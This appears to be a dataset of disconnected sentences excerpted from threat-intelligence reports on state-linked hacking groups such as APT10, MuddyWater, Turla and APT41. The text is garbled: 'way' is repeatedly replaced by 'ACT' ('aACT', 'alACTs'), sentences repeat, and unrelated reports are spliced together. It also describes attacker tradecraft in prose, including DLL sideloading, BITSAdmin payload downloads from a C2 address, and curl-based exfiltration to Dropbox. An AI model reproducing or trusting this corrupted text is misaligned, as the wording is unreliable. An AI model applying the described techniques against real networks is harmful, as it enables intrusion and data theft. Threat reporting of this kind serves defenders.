In the blog , Intrusion Truth identified APT10 as having utilized several Tianjin-based companies , including Huaying Haitai Science and Technology Development Co. Ltd. and Laoying Baichen Instruments Equipment Co. Ltd .
Based on the technical data uncovered , and in light of recent disclosures by the U.S. Department of Justice on the ongoing activities of Chinese state-sponsored threat actors .
Our research from 2017 concluded that Guangdong ITSEC (and therefore the MSS) directed the activities of a company named Boyusec , which was identified as a shell company for APT3 .
Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world .
The December APT10 indictment noted that the group’s malicious activities breached at least 45 companies and managed service providers in 12 countries , including Brazil , Canada , Finland , France , Germany , India , Japan , Sweden , Switzerland , the United Arab Emirates , the United Kingdom , and the United States .
In all three incidents , APT10 gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In all three incidents , APT10 actors used previously acquired legitimate credentials , possibly gained via a third-party supply chain compromise in order to gain initial access to the law firm and the apparel company .
In early 2017 , APT10 began conducting attacks against global managed IT service providers (MSPs) that granted them unprecedented access to MSPs and their customers’ networks .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/Exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS ( JukeBox ) and Linux ( DanceFloor ) .
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During this operation (dubbed ‘Cloud Hopper” because of the group’s use of popular western cloud-based services) , APT10 utilized both new malware (Quasar RAT , Trochilus , RedLeaves , ChChes as well as some familiar old tools .
Most recently , on December 20 , 2018 , the U.S. Department of Justice charged two hackers associated with the Chinese Ministry of State Security (MSS) with global computer intrusion campaigns targeting intellectual property .
This indictment attributed the intrusions to APT10 , a group that had been conducting the malicious activities for over a decade on behalf of the MSS , China’s civilian human intelligence agency .
The Visma group operates across the entire Nordic region along with Benelux , Central , and Eastern Europe .
Recorded Future has actively tracked APT10 for several years , focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
We were particularly interested in identifying whether any customers of the targeted MSPs were subsequently compromised by APT10 , given their potential access through compromised MSP networks .
Recorded Future’s Insikt Group has actively tracked APT10 for several years , focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
In September 2018 , one of our clients (and a supplier as well) , Visma , reached out to us for assistance in investigating an incident uncovered on their network following a breach notification by Rapid7 .
This was followed by an initial exploitation , network enumeration , and malicious tool deployment on various Visma endpoints within two weeks of initial access .
On August 30 , 2018 , APT10 deployed their first modified version of Trochilus that had its C2 communications encrypted using Salsa20 and RC4 ciphers instead of the more common RC4-encrypted Trochilus variant seen in the wild .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
APT10 also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
In order to exfiltrate the compromised data , APT10 employed custom malware that used Dropbox as its C2 .
They also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
Our research partner Rapid7 investigated the Dropbox use and found that the attackers had used the same account to store exfiltrated data from a global apparel company .
They also identified broadly similar TTPs being used in the attack against a U.S. law firm specializing in intellectual property law .
Rapid7’s investigation revealed the law firm was first targeted in late 2017 , followed by the apparel company a few months later , and finally , the Visma attack in August 2018 .
In one of the attacks , Rapid7 identified the attackers escaping a Citrix application in order to run the payload script on the victim desktop .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
APT10 used this approach to deploy UPPERCUT when targeting Japanese corporations in July 2018 .
APT10 actors gained initial access to the Visma network around August 17 , 2018 .
While we are confident that APT10 actors gained access to the Visma network in August using stolen employee Citrix remote desktop credentials , it is not clear how or when these credentials were initially compromised .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
After almost two weeks , on August 30 , 2018 , APT10 attackers used their access to the network to move laterally and made their first deployment of an RC4- and Salsa20-encrypted variant of the Trochilus malware using a previously associated DLL sideloading techniquE .
This means that APT10 actors had two separate access points into the Visma network .
This slight delay may point to the handing over of active exploitation duties to other operator(s) in a multi-team APT10 effort within the Ministry of State Security for the attack .
Other examples of malicious infrastructure registered with internet.bs include domains for APT28’s VPNFilter malware campaign and the registration of the cyber-berkut .
org domain that was affiliated with the pro-Russian and potentially Russian state-linked threat actor CyberBerkut .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
In early 2018 , Rapid7 identified that APT10 compromised an apparel company , based upon detections and intelligence gathered from the U.S.-based law firm breach .
The attacker gained access to the victim’s internet-accessible Citrix systems and authenticated to them from networks associated with low-cost VPN providers owned by VPN Consumer Network .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe.” The attackers used identical TTPs for executing malware and Mimikatz as observed before , by using DLL sideloading with known good binaries that had DLL search order path issues .
Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The attackers used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
APT10 used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
For Exfiltration of stolen data , APT10 used WinRAR and renamed rar.exe” to r.exe” to create archives , upload them with curl.exe” (renamed to c.exe”) , and again , use the cloud storage provider Dropbox .
Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the attacker during the compromise and was able to attribute data that was placed into it as being owned by Visma .
Once on the Visma network , APT10 attackers used the Microsoft BITSAdmin CLI tool to copy malicious tools from a suspected attacker-controlled C2 hosted on 173.254.236[.]158 to the \ProgramData\temp\ directory on the infected host .
Rapid7 then provided a breach notification to Visma to alert them to this compromise in September 2018 .
We believe APT10 is the most significant known Chinese state-sponsored cyber threat to global corporations .
APT10's unprecedented campaign against MSPs , alleged to have included some of the largest MSPs in the world , in order to conduct secondary attacks against their clients , grants the Chinese state the ability to potentially access the networks of hundreds (if not thousands) of corporations around the world .
This campaign brings to light further evidence supporting the assertions made by the Five Eyes nations , led by the U.S. Department of Justice indictment against APT10 actors outlining the unprecedented scale of economic cyberespionage being conducted by the Chinese Ministry of State Security .
This report , alongside the plethora of other reporting on APT10 operations , acutely highlights the vulnerability of organizational supply chains .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report , however , the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft ’s Equation Editor ( EQNEDT32 ) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample e228045ef57fb8cc1226b62ada7eee9b dating back to October 2018 ( VirusTotal submission of 2018-10-29 ) with the RTF creation time 2018-10-23 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese Cyber Espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 , we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit ( CVE-2018-0798 ) .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Most recently though , a new campaign , targeting Belarus , Turkey and Ukraine , has emerged that caught the attention of Check Point researchers .
The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
Although it has focused most of its efforts on the Middle East region , the political affiliations , motives and purposes behind MuddyWater’s attacks are not very well- defined , thus earning it its name .
In the past , countries such as Saudi Arabia , the UAE and Turkey have been a MuddyWater's main target , but the campaigns have also reached a much wider audience , making their ACT to victims in countries such as Belarus and Ukraine .
MuddyWater target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .
Most recently MuddyWater were connected to a campaign in March that targeted organizations in Turkey , Pakistan , and Tajikistan .
The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government .
Our analysis revealed that they drop a new backdoor , which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
This backdoor has some features similar to a previously discovered version of the Muddywater backdoor .
Based on our analysis , we can confirm that MuddyWater target Turkish government organizations related to the finance and energy sectors .
This is yet another similarity with previous MuddyWater campaigns , which were known to have targeted multiple Turkish government entities .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
Trend Micro™ Deep Discovery™ provides detection , in-depth analysis , and proactive response to today’s stealthy malware , and targeted attacks in real time .
MuddyWater first surfaced in 2017 .
First stage infections and graphical decoys have been described by multiple sources , including in our previous research MuddyWater expands operations .
MuddyWater compiles various offensive Python scripts .
This includes Python scripts .
Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
The January 2017 report followed up on other private reports published on the group’s BeEF-related activity in 2015 and 2016 .
Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian and Western targets , and lacks advanced offensive technology development capabilities .
However , in the summer of 2016 , NewsBeef deployed a new toolset that includes macro-enabled Office documents , PowerSploit , and the Pupy backdoor .
The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails , links sent over social media/standalone private messaging applications , and watering hole attacks that leverage compromised high-profile websites some belonging to the SA government .
The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets .
NewsBeef continues to deploy malicious macro-enabled Office documents , poisoned legitimate Flash and Chrome installers , PowerSploit , and Pupy tools .
The NewsBeef campaign is divided into two main attack vectors , spearphishing and strategic web compromise watering hole attacks .
On December 25 , 2016 , the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations .
These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to NewsBeef's targets .
However , Kaspersky Security Network records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
Interestingly , NewsBeef set up its server using the hosting provider Choopa , LLC , US” , the same hosting provider that the group used in attacks over the summer of 2016 .
NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers .
In other schemes , NewsBeef sent macro-enabled Office attachments from spoofed law firm identities or other relevant service providers to targets in SA .
The law firm in this scheme is based in the United Kingdom and is the sole location for targets outside of SA for this campaign .
Starting in October 2016 , NewsBeef compromised a set of legitimate servers (shown below) , and injected JavaScript to redirect visitors to http://analytics-google.org:69/Check.aspx .
For example , on a Saudi government website , the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site the packed and unpacked JavaScript is shown below .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
A high volume of redirections from the compromised site continues into mid-January 2017 .
However , as this recent campaign indicates , the NewsBeef APT appears to have shifted its intrusion toolset aACT from BeEF and towards macro-enabled malicious Office documents , PowerSploit , and Pupy .
Despite this shift in toolset , the group still relies on old infrastructure as evidenced by their reuse of servers hosted by the service providers Choopa and Atlantic.net .
Its attack activities can be traced back to April 2012 .
The OceanLotus reflects a very strong confrontational ability and willing to attack by keep evolving their techniques .
These APT attacks and adopting confrontation measures will exist for a long time .
OceanLotus’ targets are global .
OceanLotus have been actively using since at least early 2018 .
OceanLotus malware family samples used no earlier than 2017 .
we identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
Therefore , it is clear that the OceanLotus group works during weekdays and takes a break during the weekends .
The group was first revealed and named by SkyEye Team in May 2015 .
OceanLotus's targets include China's maritime institutions , maritime construction , scientific research institutes and shipping enterprises .
RedDrip Team (formerly SkyEye Team ) has been to OceanLotus to keep track of high strength , groupactivity , found it in the near future to Indochinese Peninsula countries since 2019 On April 1 , 2019 , RedDrip discovered a Vietnamese file name Hop dong sungroup.rar in the process of daily monitoring the attack activities of the OceanLotus .
COCCOC is a Vietnam was founded in 2013 .
In fact , according to reports of various security vendors , OceanLotus also attacked several countries , including Cambodia , Thailand , Laos , even some victims in Vietnam , like opinion leaders , media , real estate companies , foreign enterprises and banks .
Unlike the 2016 variants of Ratsnif that stored all packets to a PCAP file .
these threat actors targeted a number of government agencies threat actors targeted a number of government agencies in East Asia .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
The dropped PE file has the distinctive file name 8.t” .
The last process is utilized as part of the loading process for Cotx RAT and involves the legitimate Symantec binary noted above .
These conflicts have even resulted in Haftar leading an attack on the capital city in April .
The attackers have targeted a large number of organizations globally since early 2017 .
Attackers were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Group's targets include high-profile entities such as parliaments , senates , top state offices and officials , political science scholars , military and intelligence agencies , ministries , media outlets , research centers , election commissions , Olympic organizations , large trading companies , and other unknown entities .
Cisco Talos recently published a blogpost describing targeted attacks in the Middle East region which we believe may be connected .
Operation Parliament appears to be another symptom of escalating tensions in the Middle East region .
The attackers have taken great care to stay under the radar , imitating another attack group in the region .
With deception and false flags increasingly being employed by threat actors , attribution is a hard and complicated task that requires solid evidence , especially in complex regions such as the Middle East .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal .
We refer to this campaign and the associated actor as Operation Kingphish Malik” , in one of its written forms in Arabic , translates to King” .
It is worth noting that in December 2016 , Amnesty International published an investigation into another social engineering campaign perpetrated by a seemingly fake human rights organization known as Voiceless Victims , which targeted international human rights and labour rights organizations campaigning on migrant workers’ rights in Qatar .
It appears that the attackers may have impersonated the identity of a real young woman and stole her pictures to construct the fake profile , along with a professional biography also stolen from yet another person .
In the course of this email correspondence , the attacker — Safeena” — then sent what appeared to be invitations to access several documents on Google Drive .
The attackers were meticulous in making their phishing page as credible as possible .
Among the targets of this campaign is the International Trade Union Confederation .
Both in the attacks against ITUC and in other occasions , Operation Kingphish approached selected targets over social media , prominently Facebook , and engaged in chat conversations with them on and off , sometimes over a period of several months .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
While there is a clear underlying Qatar migrant workers theme in Operation Sheep , it is also hypothetically possible that these attacks could have been perpetrated by a malicious actor affiliated to a different government with an interest in damaging the reputation of the State of Qatar .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more .
With no clear declaration of usage from Shun Wang , nor proper regulatory supervision , such data could circulate into underground markets for further exploit , ranging from rogue marketing , targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest .
This paper will cover the discovery of this campaign , dubbed ‘Operation Sheep’ , and an analysis of SWAnalytics .
In mid-September , an app named ‘Network Speed Master’ stood out on our radar with its rather unusual behavior patterns .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications , the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
Operation Sheep is the first campaign we have observed in the wild that abuses similar concept since our MitD publication .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
Data points span from September 2018 to January 2019 where we observed over 17 million downloads in just five months .
In China alone , we have seen underground market sheep shavers” ported SMS rogue marketing strategy to spread Alipay Red Packet referral URL links .
In Operation Sheep’s case , Shun Wang likely harvests end user contact lists without application developer acknowledgement .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities , like the military , governments , defense industries , and the media .
we believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
we found two malicious iOS applications in Operation Pawn Storm .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
The obvious goal of the SEDNIT-related spyware is to steal personal data , record audio , make screenshots , and send them to a remote command-and-control (C&C) server .
To learn more about this campaign , you may refer to our report , Operation Pawn Storm Using Decoys to Evade Detection .
Additionally , we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle .
Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique .
This technique was also observed against a government organizations in the Middle East and North African region .
Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICS-Forth network from an operational command and control (C2) node .
Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24 , five days after the statement was publicly released .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service .
The dropper first appeared in mid-July , suggesting that this APT activity is potentially ongoing , with Turla actively targeting G20 participants and/or those with interest in the G20 , including member nations , journalists , and policymakers .
Turla is a well-documented , long operating APT group that is widely believed to be a Russian state-sponsored organization .
Turla is perhaps most notoriously suspected as responsible for the breach of the United States Central Command in 2008 .
More recently Turla was accused of breaching RUAG , a Swiss technology company , in a public report published by GovCERT.ch .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
Assuming this variant of KopiLuwak has been observed in the wild , there are a number of ACTs it may have been delivered including some of Turla’s previous attack methods such as spear phishing or via a watering hole .
This could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
Turla's goal could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
Despite the added capabilities , we still agree with Kaspersky that this backdoor is likely used as an initial reconnaissance tool and would probably be used as a staging point to deploy one of Turla’s more fully featured implants .
Turla is a complex cyberattack platform focused predominantly on diplomatic and government-related targets , particularly in the Middle East , Central and Far East Asia , Europe , North and South America and former Soviet bloc nations .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
Moreover , Turla now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan Obviously and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
The usage of KopiLuwak , a well-known and exclusive artefact previously used by the Turla group , makes us attribute this campaign to this actor with high confidence .
Winnti mode of operation to collect information on the organizational charts of companies , on cooperating departments , on the IT systems of individual business units , and on trade secrets , obviously .
Hackers usually take precautions , which experts refer to as Opsec .
The Winnti group’s Opsec was dismal to say the least .
This mode of operation is typical of many hacker groups—and especially of Winnti .
They are a very , very persistent group , ” says Costin Raiu , who has been watching Winnti since 2011 .
Raiu and his team have followed the digital tracks left behind by some of the Winnti hackers .
One government official puts it very matter-of-factly: Winnti is very specific to Germany .
By 2014 , the Winnti malware code was no longer limited to game manufacturers .
Winnti is targeting high-tech companies as well as chemical and pharmaceutical companies .
Winnti is attacking companies in Japan , France , the U.S. and Germany .
The Winnti hackers broke into Henkel’s network in 2014 .
Henkel confirms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions .
Far from attacking Henkel and the other companies arbitrarily , Winnti takes a highly strategic approach .
The hackers behind Winnti have also set their sights on Japan’s biggest chemical company , Shin-Etsu Chemical .
In the case of another Japanese company , Sumitomo Electric , Winnti apparently penetrated their networks during the summer of 2016 .
Winnti hackers also penetrated the BASF and Siemens networks .
Thanks to this tool , we found out back in March 2019 that the Bayer pharmaceutical group had been hacked by Winnti .
At Gameforge , the Winnti hackers had already been removed from the networks when a staff member noticed a Windows start screen with Chinese characters .
To witnesses , the spy appears to be running a program showing videos , presenting slides ( Prezi ) , playing a computer game or even running a fake virus scanner .
From the time of file creation , the attacker started working at least as early as July 2018 .
The link to feeds.rapidfeeds.com left in its XML configuration file was also mentioned by Kaspersky’s report in the reference section , which confirms that the APT-C-09 group keeps updating its C2 configuration channel and the recent one reserves some past features .
For example , Donot and Bitter disguised as Kashmiri Voice to attack Pakistan , Transparent Tribe attacked India with decoy document regarding terrorist attacks in Kashmir .
Considering APT-C-09 , Bitter and Donot have carried out targeted attacks against China , we must take actions in advance and keep a close eye on their recent activities .
APT41 espionage operations against the healthcare , high-tech , and telecommunications sectors include establishing and maintaining strategic access , and through mid-2015 , the theft of intellectual property .
FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions , particularly against the video game industry , including stealing source code and digital certificates , virtual currency manipulation , and attempting to deploy ransomware .
APT41 has executed multiple software supply chain compromises , gaining access to software companies to inject malicious code into legitimate files before distributing updates .
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions .
Based on early observed activity , consistent behavior , and APT41's unusual focus on the video game industry , we believe the group's cyber crime activities are most likely motivated by personal financial gain or hobbyist interests .
APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed .
Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely statesponsored activity .
Learning to access video game production environments enabled APT41 to develop the tactics , techniques , and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates .
APT41 has targeted organizations in 14 countries over seven years , including: France , India , Italy , Japan , Myanmar , the Netherlands , Singapore , South Korea , South Africa , Switzerland , Thailand , Turkey , the United Kingdom , and the United States (Figure 1) .
APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities .
We believe that like other Chinese espionage operators , APT41 has moved toward strategic intelligence collection and establishing access , but aACT from direct intellectual property theft .
In 2014 , APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions , demonstrating that they could balance different objectives simultaneously .
Since 2017 , APT41's activities have included a series of supply chain compromises .
The group also targeted companies involved in producing motherboards , processors , and server solutions for enterprises .
Since 2013 , APT41 has targeted organizations involved in the research , development , and sale of computer components used for machine-learning , autonomous vehicles , medical imaging , and the consumer market .
In a 2014 compromise , APT41 targeted a European conglomerate and specifically focused on systems physically located in China .
In spring 2015 , APT41 targeted information related to two entities undergoing a merger announced the previous year .
Since 2017 , APT41 has consistently targeted telecommunications companies , possibly a crucial first step to establish a foothold in targeting a particular region .
Targeted telecom companies spanned several countries , and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity .
In July and August 2016 , APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content .
This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong .
APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails , although social engineering content does not alACTs correlate with targeted users or organizations .
In 2015 , APT41 targeted a Japanese media organization with a lure document (Figure 3) titled 中東呼吸器症候 群(MERS)の予防 , ” which translates to Prevention of Middle East Respiratory Syndrome (MERS) .
APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the group's capacity to collect sensitive and highly valuable intellectual property (IP) , although we have not observed evidence of IP theft since late 2015 .
Unlike other observed Chinese espionage operators , APT41 conducts explicit financially motivated activity , which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests .
Although APT41 initially targeted the parent company , 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices .
In 2018 , we observed APT41 target a third healthcare company , although their goals during this compromise were unclear .
In June 2018 , APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites .
This provides another connection between the targeting of the cryptocurrency organizations and video game targeting .
In October 2018 , the group compiled an instance of XMRig , a Monero cryptocurrency mining tool , demonstrating a continued interest in cryptocurrency .
APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia , although global companies based in the United States have also been targeted .
APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry .
We believe these operations include broadly malicious activity that can enable further operations , such as targeting game source code and compromising digital certificates , while other activities are explicitly financially motivated , such as abusing in-game currency mechanics .
In October 2012 , APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO .
Since at least 2012 , APT41 has repeatedly gained access to game development environments within affected companies , including online multiplayer networks , as well as targeting of production database administrators .
APT41 has been observed inserting malicious code into legitimate video game files to distribute malware .
In 2018 , the group inserted CRACKSHOT malware into game files that were signed with legitimate codesigning certificates , most likely indicating access to the production environment , which facilitated a supply chain compromise .
We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits , such as ROCKBOOT , on Windows systems to hide their malware and maintain persistence on victim systems .
Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets .
APT41 has blatantly engaged in financially motivated activity targeting the video game industry , including manipulating virtual currencies .
In a highly unusual case , APT41 attempted to extort a game company by deploying the Encryptor RaaS ransomware .
APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware .
We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game , so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise .
APT41 has also used credentials compromised in previous operations .
